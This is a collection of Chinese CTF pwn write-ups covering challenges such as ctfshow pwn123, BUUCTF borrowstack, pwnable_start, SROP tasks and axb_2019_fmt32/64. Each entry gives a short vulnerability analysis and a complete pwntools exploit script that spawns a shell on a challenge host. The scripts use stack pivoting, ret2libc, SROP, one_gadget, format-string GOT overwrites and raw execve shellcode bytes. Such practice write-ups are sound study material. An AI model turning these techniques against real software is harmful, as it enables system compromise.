pwn123
题源:ctfshow–pwn123
知识点:逻辑漏洞引发的数组越界,导致任意地址写,覆盖返回地址。
主要源码
查看ida存在后面函数,可以劫持ctfshow函数的返回值到backdoor获得shell。
查看case 1代码发现并未对数组赋值的序号 i 进行限制并且 v3[1~i] 可控,查看v3数组与ebp距离可以得到 eip 地址即为 v3[14] 的地址。{(0x38 + 0x4)/ 4 = 15 ,v3[15-1] = v3[14] } 也可以通过调试得到。
调试分析
首先输入序号17进行测试,即修改 v3[17] 处数据。
简单计算得到存放返回地址的为 v3[14] 处,填入shell地址即可。
exp
from pwn import * context(arch='i386', os='linux',log_level = 'debug') io = remote('pwn.challenge.ctf.show',28268) elf = ELF('./pwn123') backdoor = elf.sym['init0'] io.sendlineafter(b"what's your name?",b"aaa") io.recvuntil(b"4 > dump all numbers") io.sendlineafter(b' > ',b"1") io.sendlineafter(b"Index to edit: ",b"14") io.sendlineafter(b"How many? ",str(backdoor)) # 0x80485d6---> 134514134 io.sendline(b'0') io.interactive()
borrowstack
题源:BUUCTF-borrowstack
知识点:栈迁移 + ret滑梯 + ret2libc3 + onegadget
坑点:泄露libc地址的payload返回main函数会导致got表覆盖,从而无法正常返回。
解决方法:ret滑梯。p64(ret)数量可变
源码
思路分析
首先利用溢出的8字节将栈转移到bss段泄露libc地址,然后搜索libc版本找到 onegaget 相对地址,leak_addr过程返回到main函数,覆盖返回地址为onegadget地址获取shell。
exp
from pwn import * from LibcSearcher import * context(os = 'linux',arch = 'amd64',log_level = 'debug') io = remote('node5.buuoj.cn',29944) offset = 0x60 elf = ELF('./borrowstack') main = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] leave = 0x400699 bss = 0x601080 pop_rdi = 0x400703 pop_rbp = 0x400590 ret = 0x4004c9 p1 = b'a'*offset + p64(bss) + p64(leave) io.sendafter(b'want\n',p1) #-----------------ret滑梯-------------------------------------- p2 = p64(ret)*28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendafter(b'now!\n',p2) puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc = LibcSearcher("puts",puts) base = puts - libc.dump('puts') sym = base + libc.dump('system') bin = base + libc.dump('str_bin_sh') #由于使用system构造rop较长,需要二次调用read函数,比较麻烦。这里选择onegadget方法。 one = base +0x4526a p3 = b'a'*0x68 + p64(one) io.recv() io.send(p3) io.interactive()
Tips:打通后第一次发出命令没有正常接收返回数据,需要再发一次。如下图:
shellcode
题源:BUUCTF–pwnable_start
考点:堆栈可执行,汇编代码与栈结构剖析
知识点:借用程序已有的汇编代码实现多次读写---->泄露栈地址。
源码
没有主函数,_start函数汇编代码如下:
分析
首先将eax赋值为4,bx,cx,dx分别赋值1,esp,0x14,然后调用int 80中断。转化为:write (1,addr,0x14) **
即 从esp指向位置开始读取0x14字节数据。也就是上面push的内容,调试得到
然后令ebx为0,ecx不变,edx为0x3c(也就是60),int 80中断 -------------->read(0, addr, 0x3c)**
即 从esp指向位置最多写入0x3c字节数据,将原输出数据覆盖。
最后使得esp向下移动0x14字节到达返回地址处,然后eip执行retn,返回地址弹出给eip,esp向下移动4字节。
思路
由于堆栈可执行,选择在栈上布置shellcode。而esp到返回地址空间为0x14,已知最短32位shellcode是21字节,因此无法在此处填充,但由于0x3c-0x14=0x28满足要求,可以在返回地址后面填充shellcode,因此首要条件是获取栈地址,然后覆盖返回地址为shellcode地址。
- leak_stack,布置shellcode链
已知程序执行一次后esp指向了返回地址下面四字节,相比原来位置+0x18,在上图中发现该地址的数据为0xffffd060,刚好是某个栈地址的二级映射,因此将该数据泄露出来加上偏移即可得到shellcode布置的栈地址。
已知程序第一次运行结束后new esp相对地址,可以将第一次返回地址填充为write函数打印数据部分的汇编地址(即0x8048087),利用它来打印出二级映射的栈地址,然后程序会调用read函数从new esp位置向下写入数据。首先填充0x14字节垃圾数据,然后覆盖返回地址为shellcode栈地址。接着填充shellcode。
- payload流程图
exp
from pwn import * context(os='linux',arch='i386',log_level='debug') io = remote('node5.buuoj.cn',29641) read = 0x8048087 p1 = b'a'*20 + p32(read) io.sendafter(b':',p1) stack = u32(io.recv(4)) print(hex(stack)) io.recv() shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload = b'A'*0x14 + p32(stack+0x14)+shellcode ''' shell = shell.ljust(20,b'\x00') shell += p32(stack) ''' io.send(payload) io.interactive()
choose
题源:PolarD&N–pwn
考点:fmt泄露canary + leak_libc + ret2libc3
坑点:理清leak_libc功能代码的逻辑,进而泄露函数地址
源码
程序提供三个功能模块,通过选择序号进入。fmt与overflow模块常规,就不再贴源码了。直接看leak_libc的源码。
分析
一开始看不太懂leak_libc的意思。先随便输入数据进行调试,发现会被中断,不能正常返回。一步一步跟进发现puts函数被调用时候参数为0。而puts函数就是把参数指向地址的数据打印出来,因此会到达无效内存,被内核中断运行。
仔细分析反汇编代码,结合puts函数与atoi函数原型:
得到结论:该模块是将输入地址(int类型)处的数据打印出来。
联想到Linux的延迟绑定机制,可以得出结论:由于puts被执行过了,此时puts_got表中存放的就是puts函数的真实地址,因此可以直接获得libc地址,构造ret2libc的rop链,进行getshell。
exp
from pwn import * from LibcSearcher import * context(os = 'linux',arch = 'amd64',log_level = 'debug') io = remote('120.46.59.242',2055) elf = ELF('./pwn2') main = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi =0x400a93 ret = 0x4005f1 #-------------------------leak_canary-------------------------------- io.sendlineafter(b"3.Buf overflow\n",b'1') io.sendline(b'%11$p') canary = int(io.recvline(keepends=False),16) print(hex(canary)) #------------------------leak_libc------------------------------------------- io.sendlineafter(b"3.Buf overflow\n",b'2') print(puts_got) # 6295576 io.send(b'6295576') puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) #---------------------------overflow---------------------------------------- libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so') libc_base = puts - libc.sym["puts"] print(hex(libc_base)) sys = libc_base + libc.sym["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh")) io.sendlineafter(b"3.Buf overflow\n",b'3') p3 = b'a'*0x28+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh_addr)+p64(sys) io.send(p3) io.interactive()
starctf2018_babystack
题源:BUUCTF
考点:canary—stack_guard + stack_migrant + one_gadget
源码
思路
首先利用 stack_guard 绕过canary,参见 Canary。然后泄露puts函数地址,接着进行栈迁移打one_gadget。
注意点:第一个payload将rbp设置成bss段地址进行迁移。先泄露puts函数地址,然后调用read函数向bss地址写入one_gadget。rip设置成 leave ;ret。
第二个payload直接输入one_gadget。
exp
from pwn import * from LibcSearcher import * context(os = 'linux',arch = 'amd64',log_level = 'debug') elf = ELF('./babystack') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] io = remote('node5.buuoj.cn',28722) read = elf.sym['read'] my_canary = 0xc30af2c248625400 leave = 0x400955 pop_rdi = 0x400c03 pop_rsi_r15 = 0x400c01 ret = 0x400287 bss = elf.bss()+ 0x200 offset = 0x1848 p = b'a'*0x1008 + p64(my_canary) + p64(bss) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) p += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read) p += p64(leave) p = p.ljust(offset,b'a') +p64(my_canary) io.sendlineafter(b'send?\n',b'6224') io.send(p) puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc = LibcSearcher("puts",puts) base = puts-libc.dump('puts') one = base + 0x4f322 p2 = p64(ret) + p64(one) # 这里在one_gadget前面加8字节应该是栈帧平衡,p64(0)亦可 io.send(p2) io.interactive()
picoctf_2018_got_shell
题源:BUUCTF
考点:逻辑漏洞修改got表
查看保护信息:
源码
存在逻辑漏洞,获取用户输入的地址并修改该地址为任意值。存在后门函数。
分析
思路:由于Linux延迟绑定,puts第一次调用后,puts.got保存的地址就是真实地址,以后每次调用puts会向got表查询,可以直接将这个值修改为backdoor地址,这样再次调用puts就执行了backdoor,获得shell。
exp
from pwn import * p=remote('node5.buuoj.cn',25901) elf=ELF('./PicoCTF_2018_got-shell ') puts_got=elf.got['puts'] win_addr=0x0804854B p.sendlineafter("value?", hex(puts_got)) p.recv() p.sendline(hex(win_addr)) p.interactive()
ciscn_2019_s_3
题源:BUCTF–PWN
考点:srop-execve调用 或 syscall解法
坑点:泄露出来的栈地址有点不一样(kali比靶机多0x30,Ubuntu多0x10…)
源码
main函数直接进入vuln函数调用。
发现可用gadgets,考虑使用SROP或者syscall方法。
分析
观察下面部分代码可知,首先调用 sys_read 向 rsp (/rbp) -0x10 位置读入最多 0x400 字节数据,然后从相同位置输出栈上数据0x30长度,可以泄露栈地址。最后正常返回,注意 rbp+0x8 位置即为 rip返回地址,也就是说输入数据 buf占据0x10,接着就是 rbp和 rip 。
payload构造栈:
p1:/bin/sh\x00+aaaaaaaa ----->buf+“rbp”(0x10) #leak出来bin地址
vul ---------------------------> “rip”(rbp)
p2:aaaaaa --------------------> buf+“rbp”(0x10)
srop --------------------------> rbp(“rip”)
syscall + frame -------------> …
exp
from pwn import * #io = remote('node5.buuoj.cn',26115) io = process('./3') elf = ELF('./3') context(arch="amd64",os="linux", log_level="debug") vul=0x4004F1 #从 xor rax,rax 开始,仅调用一部分汇编 srop = 0x4004da # mov 0xF0 rax;ret syscall=0x400517 # syscall;ret #第一次输入shell,泄露栈地址,然后调转二次运行输入数据执行SROP p1 = (b'/bin/sh\x00').ljust(16,b'a') + p64(vul) io.sendline(p1) io.recv(0x20) bin = u64(io.recv(8))-0x118 #kali下为-0x148,Ubuntu为-0x128。。。 print(hex(bin)) frame = SigreturnFrame() frame.rax = 59 # execve(/bin/sh,0,0) frame.rdi = bin # /bin/sh 填写地址为 rbp-0x30 frame.rsi = 0 frame.rdx = 0 frame.rip = syscall # 由于程序第一次运行返回时,结尾汇编为 pop rbp;retn,retn之后此时rsp指向旧的rip # 因此第二次回调执行sys_read时候写入起始位置为 旧的rip-0x10,即旧rbp地址。 # 而/bin/sh在 旧的rbp上面0x10处,不会被覆盖。 io.sendline(b'a'*0x10+p64(srop)+p64(syscall)+bytes(frame)) # buf + rbp/rip (srop)+ rip+8(syscall) + ... io.interactive()
rootersctf_2019_srop
题源:BUUCTF-PWN
考点:方法1:srop移栈 + srop
方法2:栈迁移+srop(暂时没成功…)
源码
先输出部分信息,然后利用 push 0 和 pop rax 调用sys_read函数 向栈中填充数据。发现 syscall指令地址:0x401033。
可能用到的gadgets:
分析
由于未知栈地址,需要在bss段构造excve(/bin/sh\x00,0,0)。先进行输入地址栈转移。
方法一:srop+srop
首先利用第一次栈溢出进行srop利用(buf,rip:rt_sigreturn ,syscall,frame):布置寄存器数据,调用read向bss段输入数据,满足再次栈溢出的条件 read(0,bss,0x400) ,注意rbp位置:frame.rbp = bss + 0x20。
然后程序会指向bss段接收输入数据,在bss段 填充 /bin/sh\x00 再次利用 srop布置寄存器构造execve(/bin/sh\x00,0,0)。
方法二:栈迁移+srop
第一次栈溢出劫持返回地址到bss段,然后rip填充 rt地址,使得程序再次执行(同时rsp也转移到bss段)。
然后在第二次运行时进行栈溢出利用srop构造 execve(/bin/sh\x00,0,0)。
exp
from pwn import * io = process("./srop") #io = remote('node5.buuoj.cn',27655) context(arch="amd64", os="linux",log_level="debug") # write /bin/sh on bss bss = 0x402000 + 0x400 syscall_leave_ret = 0x401033 #通用 syscall_addr = 0x401046 #仅第二个frame中的rip可用此gadget pop_rax_syscall_leave_ret = 0x401032 # srop to call read, set *data_addr = /bin/sh\x00 frame = SigreturnFrame() frame.rax = 0 # read(0,bss,0x400) stack: buf rbp-0x20 frame.rdi = 0 # rbp frame.rsi = bss frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = bss + 0x20 p1 = 0x88 * b"a"+ p64(pop_rax_syscall_leave_ret) + p64(0xf)+ bytes(frame) io.sendafter(b"Hey, can i get some feedback for the CTF?\n",p1) frame = SigreturnFrame() frame.rax = 59 # execve(bss,0,0) frame.rdi = bss frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_leave_ret p2 = b"/bin/sh\x00"+ b"a" * 0x20+ p64(pop_rax_syscall_leave_ret) + p64(0xf) p2 += bytes(frame) io.send(p2) io.interactive()
from pwn import * #io = remote('node5.buuoj.cn',27029) io = process('./srop') elf = ELF('./srop') context(arch="amd64",os="linux", log_level="debug") bss = 0x402000 + 0x400 rt = 0x401001 syscall_leave_ret = 0x401033 #通用 pop_rax_syscall = 0x401032 io.recv(0x2a) p1 = b'a'*0x80 + p64(bss) + p64(rt) io.send(p1) io.recv(0x2a) frame = SigreturnFrame() frame.rax = 59 frame.rdi = bss-0x80 frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_leave_ret frame.rbp = bss frame.rsp = bss-0x40 p2 = (b'/bin/sh\x00').ljust(0x88,b'\x00') + p64(pop_rax_syscall) + p64(0xf) p2 += bytes(frame) io.send(p2) io.interactive()
ciscn_2019_s_4
题源:BUUCTF-PWN
考点:32位栈迁移【方法一:迁移到stack / 方法二: 迁移到bss段(不通…)】
坑点:/bin/sh\x00只能放在system后面,放在rbp位置不行。(详见exp代码部分)
迁移到bss时候打不通…,暂未知原因。
源码
存在system函数,输入/bin/sh\x00构造rop即可。
分析
方法一:leak_stack + stack_migrant
第一次输入位置填充垃圾数据0x28用来泄露栈上某个地址,然后减去偏移0x38(这次偏移一致了)得到输入buf位置的栈地址。第二次填入/bin/sh\x00再构造rop链:system + p32(0) + p32(bin)
最后填上fake_rbp和 leave回调执行rop,(注意fake_rbp需要为有效rop链起始地址-0x4)即可获取shell。
方法二:stack_migrant
第一次随便输入垃圾数据跳过该次输入,第二次将rbp转移到bss段地址,然后调用第二次read的汇编代码片段(0x80485D8),向rbp-0x28地址输入数据构造rop链:
/bin/sh\x00 + system + p32(0) + p32(bin), 补充数据使得长度到达0x28。
由于buf地址在rbp-0x28地址,最后填充fake_rbp为 bss-0x28-0x4(即 bss-0x2c),填上leave回调执行rop。【打不通…】
exp
from pwn import * #io = remote('node5.buuoj.cn',26143) io = process('./4') elf = ELF('./4') context(arch="i386",os="linux", log_level="debug") leave = 0x80484b8 #0x080484b8 : leave ; ret p1 = b'a'*0x28 io.sendafter(b'?\n',p1) io.recvuntil(b'a'*0x28) buf = u32(io.recv(4).ljust(4,b'\x00'))-0x38 print(hex(buf)) bin = buf+0xc system = elf.sym['system'] p2 = (p32(system) + p32(0) + p32(bin)+b'/bin/sh\x00').ljust(0x28,b'\x00') # 注意:这里如果改成 # b'/bin/sh\x00'+ p32(system) + p32(0) + p32(bin-0xc) 就打不通了 p2 += p32(buf-4)+p32(leave) io.send(p2) io.recv() io.interactive()
from pwn import * #io = remote('node5.buuoj.cn',26143) io = process('./ciscn_2019_s_4') elf = ELF('./ciscn_2019_s_4') context(arch="i386",os="linux", log_level="debug") bss = 0x804a000 + 0x400 leave = 0x80484b8 #0x080484b8 : leave ; ret #0x080483bd : pop ebx ; ret pop_ebx = 0x80483bd read = 0x080485D8 p1 = b'a'*0x28 io.sendafter(b'?\n',p1) io.recv() p2 = b'a'*0x28 + p32(bss) + p32(read) io.send(p2) io.recv() buf = bss-0x28 bin = buf+12 system = elf.sym['system'] p3 = (p32(system)+p32(0)+p32(bin)+b'/bin/sh\x00').ljust(0x28,b'a') +p32(bss-0x2c)+ p32(leave) io.send(p3) io.recv() io.interactive()
axb_2019_fmt32
题源:BUUCTF–PWN axb_2019_fmt32
考点:32位fmt_leak_address 获取 libc + got篡改
坑点:注意 fmt_leak 时候利用%s的构造的rop偏移与对齐
源码
分析
Step1:利用格式化字符串漏洞泄露出执行过的函数地址,然后根据 libc 得到system 函数的地址
使用脚本得到的偏移为8,但是由于输入的第一个字节位于上一个0x4地址末端,远程有时会出现报错。
手动测试:
需要先填充一个字节来对齐,然后填充got地址,使得got地址偏移刚好为8。
并且发现偏移offset为 2,3,4,5位置与aaaaaaaa距离为8,与脚本一致。
Step2:利用 fmtstr (或 手动构造输入,这里有些困难…) 来篡改 printf 函数的got地址为system函数地址。
b’a’ +fmtstr_payload(8,{printf_got:sys_addr},write_size = “byte”,numbwritten = 0xa)
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数numbwritten表示已经输出的字符个数
sprintf 表示追加到 “Repeater:”后面,再加上fmtstr前面的b’a’。==> 0x9 + 0x1 = 0xa
第四个参数write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
Step3:输入system函数的参数构造 system(/bin/sh)。
exp
from pwn import * context(arch='i386', os='linux', log_level='debug') p =remote('node5.buuoj.cn',28108) elf =ELF('./fmt') got_addr =elf.got['printf'] printf_got = elf.got['printf'] # offset = 8 ''' def exec_fmt(payload): p.sendline(payload) info = p.recv() return info auto = FmtStr(exec_fmt) offset = auto.offset ''' # 1 + 4 + 7 + 4 = 16 =0x10 payload =b'A' +p32(got_addr) +b'bbbbbbb' + b'%8$s' #建议对齐(0x10) p.sendafter(b"Please tell me:",payload) p.recvuntil(b'bbbbbbb') # 注意接收的地址在b*7之后位置 puts_addr = u32(p.recv(4)) print(hex(puts_addr)) libc = ELF('./libc-2.23_32.so') libc_base = puts_addr - libc.sym['printf'] sys_addr = libc_base + libc.sym['system'] payload=b'a' payload += fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0xa) p.recvuntil(b':') p.send(payload) p.send(b';/bin/sh\x00') # 需要两次发送 p.interactive()
axb_2019_fmt64
题源:BUUCTF–PWN axb_2019_fmt64
考点:64位fmt_leak_address 获取 libc + got篡改
坑点:64位got表开头的\x00截断问题,需要更改 p64(got) 位置 。(相较于上一题,不需要开头填充)
传参 /bin/sh\x00 时候前面需要加上”;“。
源码
与上题几乎一样,略…
分析
**Step1:**偏移为8,并且不需要对齐:
Step2:64位程序,got地址 \x00截断 :
这里使用了p32(got)测试,不过意思是一样的。
发现没有接收到 bbbbbb,并且got也没有成功解析得到函数地址,需要修改p64(got)位置,同时注意%8$s也要随之修改。
注意64位一个地址是 8 字节,不同于 32位的 4字节。因此 %9s 是在 s 是在 %8s是在p 基础上增加8字节。
远程打不通,下面是本地测试结果:
Step3:参数发送问题 :
Fail:
Success:
这里输入有 时间限制,不过还是可以成功的。
exp
from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') p =process('./fmt') #p =remote('node5.buuoj.cn',27332) elf =ELF('./fmt') got_addr =elf.got['printf'] printf_got = got_addr print(hex(got_addr)) payload = b'%9$saaaa' + p64(got_addr) #对齐 p.sendafter(b"Please tell me:",payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts_addr)) libc = ELF('./libc-2.23_64.so') #远程打不通 #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #local libc_base = puts_addr - libc.sym['printf'] sys_addr = libc_base + libc.sym['system'] payload=fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0x9) #其实system函数和printf函数只有后面几位数字不一样,也可以手动修改... p.recvuntil(b':') p.send(payload) p.send(b';/bin/sh\x00') p.interactive()